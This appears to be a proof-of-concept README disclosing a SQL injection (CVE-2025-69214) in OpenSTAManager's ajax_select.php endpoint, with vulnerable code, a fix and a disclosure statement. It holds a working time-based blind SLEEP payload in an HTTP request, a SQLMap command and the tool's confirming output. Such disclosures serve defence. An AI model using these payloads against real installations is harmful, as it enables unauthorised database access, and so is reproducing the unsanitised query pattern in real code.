lukasz-rybak/cve-2025-69214Proof-of-concept for CVE-2025-69214: SQL injection in OpenSTAManager's ajax_select.php componenti endpoint. Includes vulnerable code analysis, time-based blind exploitation with SQLMap, and remediation guidance.
| Field | Details |
|---|
| CVE ID | CVE-2025-69214 |
| Severity | HIGH |
| Advisory | View Advisory |
| Discovered by | Lukasz Rybak |
A SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.
File: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN() clause without sanitizationManual PoC (Time-based Blind SQLi):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMap Exploitation:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
Cast values to integers before using in SQL:
Before:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
After:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Discovered by: Łukasz Rybak
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.